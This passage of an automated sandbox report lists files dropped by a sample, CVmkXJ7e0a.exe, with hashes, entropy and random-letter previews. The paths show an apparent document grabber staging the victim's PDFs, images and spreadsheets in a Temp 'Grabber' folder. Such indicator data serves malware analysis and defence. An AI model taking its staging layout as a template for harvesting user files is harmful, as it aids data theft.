                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\DUUDTUBZFW.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701195573484743
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
                                                                                                                                                                          MD5:2530C45A92F347020337052A8A7D7B00
                                                                                                                                                                          SHA1:7EB2D17587824A2ED8BA10D7C7B05E2180120498
                                                                                                                                                                          SHA-256:8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
                                                                                                                                                                          SHA-512:78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\EEGWXUHVUG.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\EEGWXUHVUG.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\EIVQSAOTAQ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.692024230831571
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
                                                                                                                                                                          MD5:086908C2D2FAA8C9284EAB6D70682A47
                                                                                                                                                                          SHA1:1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
                                                                                                                                                                          SHA-256:40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
                                                                                                                                                                          SHA-512:02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690071120548773
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
                                                                                                                                                                          MD5:8F49644C9029260CF4D4802C90BA5CED
                                                                                                                                                                          SHA1:0A49DD925EF88BDEA0737A4151625525E247D315
                                                                                                                                                                          SHA-256:C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
                                                                                                                                                                          SHA-512:CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.697358951122591
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
                                                                                                                                                                          MD5:244A1B624BD2C9C3A0D660425CB1F3C6
                                                                                                                                                                          SHA1:FB6C19991CC49A27F0277F54D88B4522F479BE5F
                                                                                                                                                                          SHA-256:E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
                                                                                                                                                                          SHA-512:9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\JDDHMPCDUJ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.687055908915499
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
                                                                                                                                                                          MD5:94EDB575C55407C555A3F710DF2A8CB3
                                                                                                                                                                          SHA1:3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
                                                                                                                                                                          SHA-256:DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
                                                                                                                                                                          SHA-512:F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
                                                                                                                                                                          Malicious:false
